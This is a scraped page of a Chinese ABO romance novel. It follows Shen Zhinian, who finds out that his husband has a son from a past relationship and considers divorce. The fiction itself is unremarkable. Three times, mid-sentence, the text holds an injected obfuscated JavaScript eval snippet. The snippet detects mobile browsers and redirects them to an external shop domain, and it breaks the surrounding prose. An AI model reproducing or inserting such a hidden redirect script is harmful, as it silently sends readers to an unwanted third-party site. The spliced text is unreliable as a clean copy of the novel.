《当漂亮人妻o决定离婚》 2. 第 2 章(修) “我们认识是在五年前。”魏砚淑有一点紧张,她紧紧捏住衣角,找上门来这件事对她来说也是一个挑战。 沈之年轻轻抿了一口咖啡,不动声色地打量了一番魏砚淑,一个面容清秀的女性Beta。 “我不是来破坏你们家庭的,我只想要一笔钱,把孩子养大,这…这…也是他应该给我的。”魏砚淑看沈之年面无表情的样子有一点紧张,地位的合法性让她的羞耻心作祟。 沈之年看着板板正正端坐在魏砚淑身边的小男孩,这么多年以来找上门来自称顾景深情妇的不少,带着孩子找上来撞大运的也不是没有。 只有这一次不太一样,这个孩子端端正正地坐在魏砚淑的身边,脸上没有什么表情,但是能够清晰看出和顾景深、魏砚淑都有三四分相似。 尤其是那个男孩子小冰块似的,看起来和顾景深更相似了。就冲着这张脸,沈之年就信了一半了。 沈之年看着这个孩子,许是因为他的淡漠是刻在性格里面的,在这种老公前女友带着私生子登堂入室的节点上,他的思维竟然还不受控制的有一瞬间的走神。 怪不得结婚这半年,他对顾景深这么好掏心掏肺,就是冰块也该捂化了,顾景深还是对他不冷不热的,原来是在外面已经有小家,有一个爱人了。 魏砚淑察觉到了沈之年的视线,微微侧了一下身子,想要挡住孩子,然后又好像突然想到了什么,把孩子向着沈之年的方向推了一下,让沈之年看清楚。 沈之年仔仔细细地又看了一次那个孩子。他感受到魏砚淑的局促,但没说什么,而是拿出电话拨了出去。 “张特助,我家中工作室桌子的第一个抽屉里有一份报告,麻烦你送到顾氏楼下的咖啡厅来。” 魏砚淑在沈之年转移开视线之后,终于松了口气。 其实并不介意沈之年的无视,甚至可以说,她因为沈之年的审视感到局促和羞愧。 现在她还能想起在顾氏大楼的前台,沈之年轻轻拍她肩膀,说,“巧了,我是你男朋友的法定配偶。”那一刻带给她的羞窘。 她找来之前,根本没有想到阿深已经结婚了。 现在她才敢抬眼,大胆一点的去看眼前的沈之年。 随着Omega协会会长沈奉月上位之后大刀阔斧的整治,Omega的地位日渐上升,大多Omega的穿衣风格都偏向复杂华丽。 但是沈之年不一样,他只是穿了一件白色的衬衫,如果不去看那张过于秾艳的脸,简直就像是办公楼里修长瘦削的清秀Beta。 然后沈之年又和电话那边的人轻声说了几句,然后挂断了电话,像是觉得有些头疼一样,摘下来金丝框的眼睛,揉了揉鼻梁。 金丝框的眼镜和玻璃桌面碰撞发出一声脆响,金色链条顺着桌子边沿滑落。 从某种意义上来说金丝眼镜是冷静的,是克制的,摘下这个眼睛之后,沈之年的脸毫无保留的展露在魏砚淑的眼前。 她有一瞬间的恍惚,看到这张脸她能联想到很多,联想到开到极致的荼蘼,联想到洛可可时期大胆的画作,联想到维纳斯的断臂雕像,联想到一切和美有关的东西。 最后恍恍惚惚地诡异的想到,怪不得他再也没有找过她,原来是有了这么一位美丽的夫人。 沈之年没有过多的在意魏砚淑的目光,这样的眼神他见得太多了,“你们是怎么认识的,可以给我讲讲么?” 沈之年现在确实十分头疼,顾景深其实不算是私生活混乱的Alpha,甚至相比较而言,他还能算是洁身自好,但是出门在外,逢场作戏也是有的。 之前不是没人找上门来,找上门的Omega有男有女,形形色色,美的各不相同,但是都一眼就能看出是假的。 但是今日不一样,今日一眼就能看出是真的。 哪怕魏砚淑只是一个面容清秀的女Beta。 哪怕一般来说,Alpha受信息素的影响,是很少会选择一个Beta的。 爱情真是不讲道理,沈之年不由自主地暗自感叹一句。 他尽量忽视胸口陌生又汹涌的情绪,来理智的处理这件事。 沈之年在等张特助送文件来,中间等待的时间,他也想满足一下自己的好奇心,这世上很少有努力得不到的东西,顾景深现在算一样。 他自认对待顾景深不可谓不用心,满京城打听,没有比他更合格的夫人了,所以他真的很好奇自己究竟差在哪里了。 “我们是在我大学的时候认识的,那个时候我被不怀好意的人下了药,是他救了我。”魏砚淑不敢过多的隐瞒,但是在沈之年的面前,她总觉得自己有些抬不起头来,尴尬让她的喉头干涩,只能一字一顿的解释。 沈之年表面是在认真的倾听,但是心里确实有点恍惚,真是好标准又老土的小说开局。 豪门继承人和温柔小白花,因为小白花被下药而展开的浪漫开局,也算是霸总必备的剧情,沈之年回忆了一下顾景深,这么戏剧化的剧情竟然意外的和他很相合。 这样的书在沈之年上学的时候闷着头看了没有一百本也有八十本,只是没有想到结婚之后,遇到现实版,更没想到这种事会发生在他老公的身上。 “那个时候他骗我说是我们学校的大学生,还告诉我他叫叶深,让我叫他阿深,我不知道的······”魏砚淑有点无助,她想和沈之年证明自己是无辜的,但是带着一个私生子,虽然她没有做错什么,还是让她觉得自己在道德上有了洗不清楚的污点。 沈之年没想到他能在魏砚淑的口中听到另一个顾景深,一个更加鲜活的,年轻的,有趣的顾景深。 沈之年认识顾景深的第一天,顾景深就是一副生人勿近,无欲无求的死人样子,像块牢不可破的坚冰,好像没人能够砸开这一块冰得到里面那一颗鲜红的心。 几年之前,他也是鲜活的,纯情的,会用假名装大学生去谈恋爱? 原来我从来没有了解过他啊······ 失神不过是一瞬,沈之年察觉到了魏砚淑的紧张,虽然不知道魏砚淑的遭遇是真是假,但是他愿意给出一点安慰, “不是你的错,你不用自责。” 如果是真的,那魏砚淑也只是可怜的被欺骗者,她是受害者,不应该被道德的枷锁压得不敢言语。 沈之年的安慰可能是起到了一定的作用,魏砚淑明显情绪舒缓了下来,“然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340626|199309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后顾家的人找上门,说他是顾家未来的继承人,顾氏的CEO,是不会和我这种普普通通的Beta在一起的。” “然后把我送出国上学了。” 沈之年回忆了一下顾家的长辈,觉得他们能做出这样的事情并不稀奇,婚姻虽然是强制匹配,但是有一些权利的家族在一定的程度范围内也拥有一定的选择权,拖几年,尽量选一选门当户对的都是可以的。 他也不是顾景深最好的选择,按照那对夫妻的行事风格,他们在一起的机会实在是寥寥,还是因为他和顾景深的匹配度高达百分百,实在没有暗中操作的空间,两个人才凑到一起。 沈之年把之前的信息整理了一下,他也是没想到这对苦命鸳鸯能集齐热恋时分开,白月光回国,娇妻带球跑多重buff,沈之年看向了一边看起来就十分早熟聪明的恩恩,心里暗自补充,可能还有天才宝宝。 这发现让沈之年觉得自己的临时结婚证有些烫手,他的婚姻虽然合理合法,但是看着眼前怯懦愧疚的魏砚淑,旁边漂亮聪明的恩恩,和那个结婚之后就对他不假辞色的顾景深。 他觉得自己好像是这部霸总小说里那个单恋男主角的恶毒反派,势必要在女主带着天才宝宝回国的时候遗憾退场,如果再动坏心眼,阻碍这对CP最终HE,肯定会被抹杀。 魏砚淑说到这里也觉得自己说的太多了,也许沈之年并不关心他和阿深的恋爱经历,赶紧表明态度, “我不是来破坏你家庭的,我实在是走投无路了,当时顾家只是想解决我这个麻烦送我出国学的专业并不好,现在我父亲生病了,花光了家里的积蓄,我只想要一笔恩恩的赡养费,让我能把恩恩养大。” “我保证,拿了钱之后就换一个城市生活,再也不会出现在你们眼前。” 魏砚淑眼泪已经在眼眶打转,沈之年不知道她是在为什么难过,只是看向了一边的孩子,“他叫什么名字?” “叫魏念,小名是恩恩,当时人生地不熟的,实在太难了,后来是遇到了好心人,才勉强把他养大,所以就小名叫恩恩了。”魏砚淑看着恩恩的时候脸上才会脱离那种难堪愧疚的表情,挂上一点慈爱的笑。 沈之年长舒一口气,安抚魏砚淑,“世事难料,如果你遇到了什么问题,可以来找我帮忙,上面的是我的联系方式,下面是我父亲Omega协会会长沈奉月的联系方式。” 魏砚淑捏过那张餐巾纸的时候还是觉得事情的发展有一些魔幻,无论从什么角度来说,按照她和沈之年的身份,沈之年应该都不会说出这种话,“我没有破坏您家庭的意思······” “如果可以,我也希望你用不上这个文件。” 她还想辩解,沈之年的视线已经被一位刚刚进门的男人吸引了。 那个人快步走到沈之年面前,恭敬地递上了一个文件夹。 “魏小姐,我十分同情您的遭遇,也愿意帮助您,但是有一件事情必须说清楚。” “我和顾景深是百分百匹配度,结婚到现在一直没有孩子,所以我们之前曾经去医院检查过。”沈之年翻开报告,把里面最重要的一部分指给魏砚淑看。 “检查结论是——他患无精症。” 4. 第 4 章(修) 沈之年坐在沙发上思考,旁边的恩恩在吃小草莓,本来在茶几上放的一小筐草莓现在已经下去一半。 孩子空腹吃这么多草莓会闹肚子,生理课和育儿课都讲过的。 作为omega学院的第一名,沈之年这两门课也都是以第一名的成绩完成课程。 但是沈之年不知道自己应不应该阻止恩恩,按照课程的内容,他应该制止恩恩并教导正确的习惯,但是他们之间的身份好像很尴尬,有很小的可能,他以后会是恩恩的后小爸。 后小爸很难做,他在各种社交媒体上面都看到过这种案例,如果他现在制止,会不会被认为是苛待孩子,虽然没人在意那点草莓。 他的婚姻经营课上面也讲过发生这种情况的解决办法。 omega学院曾经别称新娘学院,所以在课堂上,老师教大家要将alpha的孩子视如己出,最后一定能够感化alpha和继子的心,获得和谐而美满的家庭。 不过由于这些年以来,沈奉月的努力,omega的地位直线上升,所以老师在讲完书本上写的内容之后,小声偷偷告诉他们,其实这个方法并不一定好用,Omega有时候也要遵循自己内心的想法和主张。 所以现在各种信息在沈之年的脑海里打了架,太乱了。 说不上是不知道怎么处理这个孩子的乱,还是知道他的丈夫有一个私生子的乱。 他好像还没有做好做后小爸的准备。 在他的人生想象里,他会和顾景深生育两个孩子,一个alpha和一个omega。 他们一家四口会组成一个完美、圆满的家庭,永远的幸福下去。 突然出现的私生子,让他的想象可能无法变成现实了,以后他们的生活里都会有这对母子的影子。 或者说,沈之年没想好是不是要做这个后小爸,他对生活的美好想象和顾景深之间到底怎么选择,他还没想好。 乱乱的,脑子乱乱的。 他将金丝眼镜取下,依靠在沙发上,想要获得片刻的安宁。 孩子的情绪最敏感,察觉到沈之年的疲惫,恩恩不再吃草莓,低着头坐在沙发上,他很乖巧,没有什么小动作,安安静静的坐着。 看起来很乖巧,他被妈妈教的很好。 然后肚子咕噜的响了一下。 也是,从下午三点多见到面,到现在已经华灯初上,孩子一直没有吃什么东西。 听到这样的声响,沈之年还是从沙发上面爬起来,凑到恩恩身边,“是不是饿了?喝一点玉米排骨汤,再给你煎一个蛋卷好不好?” 恩恩眸光躲闪,还是摇了摇头,然后肚子就又咕噜噜的叫了一声。 “不喜欢吃蛋卷还是不喜欢喝玉米排骨汤?” “都,都喜欢。” 沈之年摸摸恩恩的头,“那你等一下。” 他没去拿桌子上的眼镜,其实他近视度数很低,只是爸爸爱戴眼镜,过于漂亮浓艳的脸,不利于树立威信,也不利于在这个满是alpha高位者的世界厮杀,眼镜会让人看起来冷静睿智。 沈奉月一直戴着,沈之年就也随着爸爸戴起了眼镜。 ---------------------------------------------------------------- 顾景深从书房出来的时候,恩恩已经躺在沈之年的怀里睡着了。 他出门的时候,看到的就是这样一幕,在暖黄的灯光下,他的妻子,嘴角噙着一点笑意,轻轻拥着孩子。 摘掉金丝眼镜之后,他身上最后一丝冷静克制的气质也没了,像是圣彼得大教堂里面精心绘制的圣母图。 魏砚姝的眼睛通红,上前几步从沈之年的怀里接过孩子,没再多说什么,只是和沈之年鞠了一躬便离开了。 沈之年将沙发的纹理抚平,才起身和顾景深对视。 这对夫妇都没有立刻说话,只是看着对方的眼睛。 最后还是沈之年打破了平静,“饿了吧,要不要吃一点东西?” 顾景深像是自嘲一样,扯起了嘴角,“你就问这个?” 不然呢?课上教过,在遇到这种事情的时候,歇斯底里的质问只会让夫妻的关系降到冰点,这个时候应该提供一个和缓、舒适的氛围,方便两个人能够平心静气。 像是课本上完美而贤惠的教科书,沈之年扬起了一个很完美的微笑,“饿了吧,我们可以先吃饭,今天炖了排骨汤,恩恩很爱喝。” 顾景深捏了捏自己的山根,看起来很头疼,“我没心情吃饭,你……自己吃吧。” 他说完就转身,好像是想要回到书房。 现在轮到沈之年头疼了,学校的课程里教过,要在一个和缓舒适的环境谈论这个问题,但是没说过如果丈夫拒绝进入环境应该怎么办? 应该追上去么,会不会显得有一点咄咄逼人,不太符合完美妻子的标准。 还是不追呢,不追的话,以后是不是没有合适的机会来聊这件事了。 沈之年不过是一个愣神,顾景深已经走得见不到影子。 他下意识的追了几步,回应他的是书房的门“嘭”的一声被关上了。 沈之年好像是被惊到了,他呆愣在原地,半晌才缓缓的眨了眨眼睛,证明他其实不是一个雕像。 现在是没得聊了? 胸口闷闷的,好像里面被塞了东西,压得人喘不过气。 沈之年等了半晌,才大喘出来。 他环视了一圈,这个他精心布置的家里,好像哪里都很奇怪。 绒布套子和下面深灰色棉麻沙发搭配起来很奇怪,盛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340628|199309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开的鲜花也和性冷淡的金属线条茶几不太相配…… 不知道为什么,他突然想找人说说话。 沈之年翻了翻手机里的联系人。 里面只有寥寥几个人。 有几个顾景深的兄弟,应该是某次出门应酬的时候加上的。 几个上学时候的朋友。人的思想瞬息万变,他小的时候,父亲的想法还是离经叛道的,他也是父亲不守O德的产物,所以没有家庭愿意让孩子和他交朋友。 再大些,上了大学,看重父亲身份的人,多过真心愿意来交朋友的人。他大学时为数不多的几个朋友现在大多也成家了,应该在围着自己的丈夫还有孩子打转。沈之年又翻了几下,觉得这不该是和他们说的话。 剩下的就是父亲和哥哥。 沈之年想了半天,还是没忍住点了林之白的电话。 电话嘟了很久,才有人接。 林之白的声音有一点颤抖,喘着粗气,能够听出,他在努力平静的说话,“怎么了,年年?” 林之白是个雷厉风行的人,就算是刻意的温柔也带着一点急躁。 “之白哥,你在忙么?”沈之年有一点犹豫地问。 “怎么会,我没有事,年年,你是不是受委屈了?”林之白终于喘匀了气,“用不用哥哥现在去接你?” 只可惜林之白话音没落就有人在一边拆台,“老婆老婆,老婆……” “欸,你干什么,你放开我,年年来电话了!” 再后面是乱乱的声音,最后以一个清脆的巴掌声收尾,“年年,怎么了,你接着说?” “老婆,老婆,你并不爱我,呜呜呜,老婆,我是你最乖的狗狗,你爱我好不好?” 乱七八糟的水声。 “噗通” 应该是那个人被踹倒在地上了。 “滚开!” 林之白把捣乱的人踹到地上,拖着鞋子走到了门外,沈之年只听到了明确的关门声,然后在一片安静里,林之白的声音再次响起,“年年,我现在去接你么?” “不用。”沈之年甚至没有思考,下意识地就吐出了这两个字,然后他没忍住问出了问题,“哥哥,你这样的婚姻是幸福的么?” 林之白沉默了一下,好像这个问题对他也很难回答。 “没关系,哥哥,我随便问一下,只是想问问你安全到家没有,你到家我就放心了,我烤了几个小蛋糕,明天给你送过去好不好?” 挂断电话,沈之年也不知道自己为什么要转移话题,可能在那一刻他觉得哥哥是幸福的,他不想破坏哥哥的幸福。 胸口好像更闷了,沈之年一时之间竟然找不到缘由,究竟是为什么。 他坐在了那张搭配得很怪异的沙发上。 思来想去, 顾景深,我讨厌你。 6. 第 6 章 “我没觉得我爸爸有什么不对。” 露易丝经常表达她的不满,沈之年早就已经习惯了。 大多时候,他也会假装没听到忍耐下去,但是不代表他能忍受露易丝这样评价他的父亲。 “您从出生开始就是高高在上的贵妇人,可能没经历过,甚至没见过,这个社会底层的Omega到底是怎样失去尊严的活着,也没法对她们产生怜悯。” “我父亲在做的事情可能没那么体面,但是能让他们的生活好过一点。” “我不觉得他有错。” 沈之年说完之后,看到对面的美丽妇人好像是失去了言语一样,呆呆的盯着他的脸看。 应该是没想到向来逆来顺受的儿媳妇竟然会反抗。 她的嘴巴蠕动了几下好像是想要说些什么,但是最后还是没能说出口。 沈之年嚯的一下站起来,“如果母亲没有其他的事情,那我就先离开了。” 沈之年出门之后才发现,自己的手里还捏着那个昨天精心包扎的水果礼盒。 透过外面精致的包装,沈之年总觉得里面的水果熟的烂掉了,甚至有一股隐隐约约的酒精味传出来,好奇怪,明明昨天水果还是好的。 他没有打开包裹求证,只是在路过某个垃圾桶的时候,顺手把水果扔掉。 车停在垃圾桶旁。沈之年有一瞬间的迷茫,不知道自己现在应该何去何从。 应该回家么? 哪个家? 回到那个和顾景深共同的,他现在疯狂守护的家么? 心里有隐隐的拒绝。 正在犹豫的时候,手机突然响了。 沈之年没有什么朋友,之前哥哥和爸爸忙起来的时候,一个多月手机不响都是有的,现在倒是响的频繁。 “爸爸。” 像是被召唤了一下,来电话的正是刚才争吵的核心,沈之年的爸爸,沈奉月。 “年年,你在顾家······”沈奉月将话题开了个头,然后又停下了,好像是不知道应该怎么说。 沈之年也不知道应该怎么接,最近顾家发生了好多事情,他怕先开口之后,让沈奉月发现端倪,惹得爸爸担心。 幸好沈奉月也没有在这个问题这里过分纠结,“年年,爸爸昨天回到家里了,要不要过来吃饭?” -------- 开门的是一张陌生的脸,沈之年已经习惯,这么多年爸爸身边的alpha换了又换,什么样式的都有,这次的不过是年轻些,漂亮些,乍一看不像是个alpha,还围了个围裙。 不过爸爸的品味瞬息万变,沈之年并不觉得奇怪。 和往常一样,对着来人点了点头,低低的叫一声,“叔叔好。” 那人的身后传来了惊天的咳嗽声,沈奉月拉扯过沈之年,“别瞎说,这是我在垃圾星捡回来的孩子,叫伊桑。” 然后他对着伊桑,“你叫他哥哥就好。” 沈之年把头探进家里,家里其他男人的痕迹消失无踪,他未成年,哥哥未成年的时候,沈之年都从来不往家里带人的。 可能伊桑是沈奉月新收养回家的孩子。 伊桑乖巧的低头叫沈之年哥哥。 他的脸羞得通红,显然是听懂了之前沈之年叫他叔叔的意思,暗暗的去看沈奉月。 沈之年的眼睛眨了眨,第一次有人叫他哥哥,真是一个新奇的体验,他在身上好好的摸了一圈,想要找到一个见面礼,什么也没有找到。 伊桑很漂亮,甚至和沈之年也有几分相似,他们都有一双水一样的桃花眼,可能就是因为这个伊桑才会被沈奉月带回家。 不过站在一起,就能明显看出,伊桑的长相相对沈之年要硬朗的多。 个子也比沈之年高了半个头,是在Omega中很高的个子。 但是沈奉月显然没有想要过多的为沈之年介绍伊桑,他的心里有更重要的问题。 进到家里,伊桑很有眼力见的钻进了厨房,将空间留给这对父子。 沈奉月看着儿子,张了三次嘴,最后还是没开口。 沈之年了解父亲,这个时候,应该是很犹豫。 最后沈奉月还是开口了,“你还打算和顾景深继续这段婚姻么?” “之白说在你生日的时候,已经把离婚协议给你送过去了,哪个协议是之白找人拟的,不会叫你吃亏,但是好像没有后续?” 沈之年抿抿嘴,他敢和林之白讲不离婚,但是面对爸爸,就没有那么大的底气了,“爸爸,你想我离婚的么?” “我离婚,会不会影响到你?” 沈之年的问题不是空穴来风,半年之前,他和顾景深结婚的时候,两个人不管是身份还是百分百的匹配率,都引起了巨大的关注,在这么大的关注里,两家被迫紧紧的捆绑在了一起。 现在很多Omega协会的项目里,都有顾家的投资。 现在两个人离婚,对两家的形象的损害都可以忽略不提,最重要的是,失去了那份关注,顾家也许会撤资。 沈奉月摘下金丝边框的眼镜,看起来柔和了很多,“那是爸爸的事情,年年,这不能困住你。” 这个问题确实很难,依仗顾家巨大的财力,最近Omega协会的事情,确实都十分顺利,昨天顾家哪个刻薄的美丽妇人还给他们打了一大笔钱用于垃圾星的Omega救助,足够把垃圾星买下来的一大笔钱。 但是这不代表,他要把儿子推进去牺牲。 沈之年本来应该回答他,“我不想离婚,父亲。” 但是这句话在父亲的目光里怎么都说不出来,只能小声的回应,“我再想想,好么,爸爸。” 这句话本来声音就小,沈之年说话的声音还越来越小,到最后声音都快和蚊子一样。 “如果你要离婚,我一定是支持的。”沈奉月只能这样说,年年小时候他忙于工作,甚至有一段时间被迫妥协,让沈之年接受了不少的封建糟粕。 他对年年总是十分亏欠。 就跟恰好算好时间一样,伊桑端着一盆汤出来。 “叔叔,哥哥。” 他先给沈奉月盛了汤,然后才轻声问沈之年,“哥哥,你尝尝我做的汤,不知道合不合你的口味。” 伊桑的汤做的很好,但是沈之年也没有什么心情仔细品味,胡乱的点了几下头。 给沈之年盛好汤,伊桑就又钻进了厨房,没想到伊桑看起来有些阴郁的样子,竟然很贤惠,做了好大一桌子的菜。 “家里还要来人么?” “一会你哥哥也回来,还有小薄。” 沈之年胡乱点了几下头。 菜刚刚摆上桌子,林之白就带着薄斯年踩着点到了。 其实沈之年现在不太想见到他们。 他还没想明白,他们这样的婚姻才是真正幸福的婚姻么? 吃饭的时候,大家都很安静。 沈奉月看到沈之年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340630|199309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一副心不在焉的样子,只能主动的拉开话题,“今天叫你们回来,主要是给你们介绍伊桑。” “伊桑是我在垃圾星遇到的孩子,他的父母都不在了,所以我暂时把他带回家······” 沈奉月还没有说收养,“如果你们都同意,我······” “不要!”竟然是伊桑打断了沈奉月的话,“我跟着叔叔一起生活就好,叔叔不用正式收养我的······” 伊桑说着话,脸蛋涨的红红的,“很麻烦,我知道,收养我很麻烦······” 他的声音很小,看起来很细弱,林之白发自内心的产生了一种忧虑,不会变成另一个沈之年吧······ “伊桑,我只有一句话要说,以后你结婚,你的alpha一定要我和会长看过才行。” 伊桑点点头,然后又赶紧摇摇头,“我···我还没分化···可能就是一个beta······” 伊桑看起来都快18岁了,还没分化,实在是让人惊讶。 沈奉月耸耸肩,“我也不知道为什么,我看到他的时候,他正被抓去黑诊所强行分化成Omega,垃圾星的Omega还是太少了,可能他们看他奇货可居吧。” 伊桑长得漂亮,除了个子高一些,怎么看都是Omega的料子,如果好好长大,十有八九会分化成Omega。 伊桑闷闷的点点头,“做beta也很好。” 林之白可是亲眼看到自家弟弟被信息素控制,爱的死去活来,不能再认同了,“beta可太好了!” “不会被信息素蒙蔽!” 沈之年怎么听不出哥哥的这些话是什么意思,但是他不敢搭话,只能闷着头吃饭。 “但是你是Beta,这么漂亮,也有可能会遇到不怀好意的alpha,我还是交代你几句,花言巧语哄你的alpha,不能信,但是连花言巧语都不说,哄你都不愿意的alpha更是要滚开!” “人啊,上不上心都是能看出来的,我打个比方,要是你的生日都记不住。” “老婆,我记得你的生日!”薄斯年赶紧开口表忠心,但是这根本不是林之白在意的,他把凑过来的俊脸推到一边,看到面前的伊桑眼睛亮晶晶,听的很认真的样子,心里多了一点欣慰。 “要适当的甜言蜜语,还要用心,记住对方的生日,之白哥,还有么?” 伊桑一看就是一个好学生,林之白不由得就看了一边的坏学生,沈之年。 沈之年下意识的低下头。 “老婆,我,我很用心的!”薄斯年举起手,“家里的游乐园最近有活动,我特意给两个弟弟还有爸爸都准备了票。” 林之白小时候没去过游乐园,沈之年也没有,伊桑不用想,肯定没去过。 这事情之前林之白说过,薄斯年记住了。 ······ -------------- 回到家里,已经很晚了。 沙发上面坐了一个意料之外的人——顾景深。 他很少这么早回家。 “今天你回爸爸家吃饭了?” 沈之年见到顾景深还是能想到和他一样高高在上的母亲,“怎么?体面的顾家不让我回家吃饭么?” 他鲜少有这么尖锐的时刻,顾景深皱起眉头,好像在看一个不懂事的孩子,“是不是妈妈和你说了什么?她没有坏心,只是任性惯了,你何必和他置气?” 7. 第 7 章 那天的谈话最后还是不了了之,后面顾景深就好多天再也没有回家,可能是不想面妻子和母亲的矛盾。 也有可能是单纯的烦他。 沈之年自己也是清楚的,他能够和顾景深一直和睦共处,其实是因为他足够的贴心和柔顺。 果然,现在他只要露出一点尖锐的锋芒,就把两个人之间评价平衡的表象打破了。 不过现在好像也没有平衡的表象。 沈之年把床头柜里的离婚协议拿出来,一条一条的看。 林之白说的不错,这个条款对他的补偿非常丰厚,不说不动产,光是流动现金,就够让他在一些富豪排行榜上有名有姓。 不过这不是他想要的,他和顾景深在一起一开始就不是为了这些东西。 林之白其实也知道最近他的心情不好,连着好几天给他打电话,都是说一些没用的话,夹杂着去劝他离婚。 沈之年总是不应声的,之前在Omega学校的时候,老师总是教授如何挽回婚姻和家庭,教授如何让变心的丈夫回归家庭,这好像是现在所有家庭的缩影。 就算是顾景深的母亲,那样美丽高贵,顾景深父亲也有几桩和美丽beta的风流韵事。 但是林之白和父亲总是让他快点离开,好像这样才是获得幸福生活的做法。 有时候沈之年也分不清到底谁是对的,时间会给他答案。 头脑发昏,沈之年把手中的离婚协议又放回了床头柜。 这个房间是主卧,是顾景深的房间,本来也应该是他和顾景深的婚房。 但是自从他住进来之后,顾景深隔三岔五便会到客卧去休息,他的衣服配饰也像是蚂蚁搬家一样,一点一点的搬到了客卧。 可能在顾景深的心里,这是一种保护沈之年尊严的方法,但是谁不明白呢? 现在除了拿衣服,或者实在不好意思的时候,顾景深很少会回来住,倒是他开始鸠占鹊巢。 有时候,沈之年甚至怀疑,这个百分百的匹配率是只针对他一个人的,只有他在面对顾景深的时候,会心动,会期待,会爱。 床头柜合上一声脆响,沈之年抬起头,却看到了一个很意外的身影。 “景深,你怎么回来了?” 顾景深径直走到沈之年的身边,抽床头柜,“回来拿东西。” 沈之年的心崩到了嗓子,那份离婚协议就放在柜子里,顾景深会不会看到。 顾景深面色如常的抽开柜子,从里面拿出一个小盒子。 那个盒子在柜子里放了很久,本来为表尊重,沈之年不应该去窥探顾景深的隐私,但是之前一次意外,还是让沈之年知道锦盒里面是什么。 是一个小小的钻戒,男款。 钻石不大,款式也很普通,按照顾家的财力,这样的饰品不应该出现。 他连视线都没有给一边的离婚协议一眼。 保持了他对沈之年一贯的态度,礼貌的疏离,不好奇也不关心。 不知道为什么,顾景深抽回手的时候,沈之年产生了一种奇怪的心情,他下意识的抓住顾景深的衣袖,“景深!” 顾景深抓住锦盒的手紧了紧,终于给了沈之年一个眼神,“怎么了?” “我们聊聊。” “你应该给我交代······”沈之年说话的时候,顾景深甚至没有看他,冷漠的态度让沈之年的底气消失得无影无踪,“对么?” 衣袖被人捉着,顾景深也无处可逃,只能和沈之年交流这件事。 这算是一件正式的事情,两个人进了书房谈。 沈之年不太满意,他还是觉得应该在饭桌上讨论这件事,这样显得更温情,也更像一家人。 但是能面对面聊天也是一个进步,机会稍纵即逝,失去了这个机会,再去和顾景深说话不知要有多难,沈之年只能跟着进书房。 识时务者为俊杰,不必在乎这些细枝末节,爸爸教过的,有时候为了办成事情要接受一定的不完美。 其实沈之年很少进到顾景深的书房。 他们的夫妻关系总是疏远,顾景深总是对他保持着一个绅士的距离,有时候两个人像是同一个屋檐下的陌生人,沈之年也没办法过度的参与到顾景深的生活里。书房是顾景深的私人领域,里面总是好像有很多的机密,沈之年也有礼貌的选择不窥探。 书房已经是这个家里最后的一片净土,没有沈之年选择的那些毛绒绒,充满生活气息的可爱小摆件,还是保持着和顾景深一样的风格。 冷淡,简约,疏离。 “坐。”顾景深到了书房才显得很松弛和随意,可能这里是“他的地盘”,虽然明明这个家全都属于他。 顾景深的眉头紧紧的皱在一起,很为难的样子。 “上次的事情,很抱歉,我早就应该和你谈一谈这件事。” 上次的事情?沈之年不知道他说的是什么事情。 他面上显而易见的疑惑,让顾景深不得不再去解释一句,“上次对你的态度很不好,对不起,希望你能原谅我。” 沈之年早就把这个所谓的态度不好给忘记了,可能是沈之年天生就比较宽容,也可能是超高的匹配度驱使,会促使你忘记痛苦,只剩下快乐。 顾景深没有过多的解释,“恩恩的事情,也是我的错,我可以接受你的任何条件,包括······”顾景深的喉结上下滚动了一下,很艰难的样子,“离婚······” “我可以给你很多的经济补偿,目前我名下的不动产······” “恩恩,我可以接受。”沈之年打断了顾景深的话,他的声音也很平稳,目光像手术刀般精准地落在顾景深脸上,他很少有这么坚定的视线,在顾景深的印象里,他的这位小妻子,眼神总是柔软而钦慕的。 “恩恩是你和我结婚之前的孩子,不能算你出轨。”这就是沈之年思考许久的结果。 “但你要按我的规则,要答应我的条件。” 顾景深的神情一窒,他鲜少露出这样迷茫而失控的表情,还不等沈之年说出他的条件。 顾景深就先开口,“现在是我有一个私生子,你还小,可能不懂这是什么意思。这会影响很多事情,这代表我没办法全新投入到我们的家庭里,我的精力永远都会分给恩恩一部分,甚至可能会威胁到以后你和我的孩子。” 顾景深说到一半,不由得放缓了声调,“以你的条件,离开我之后可以很轻松的找到一个很好的Alpha。” 沈之年很认真的听完顾景深的话,“首先,我并不比你小很多。” 沈之年的生的美丽,虽然大多数时候并不会选择时下流行的复杂华丽的服装,但是得益于美丽的脸蛋,还是让他看起来像是某个王国矜贵 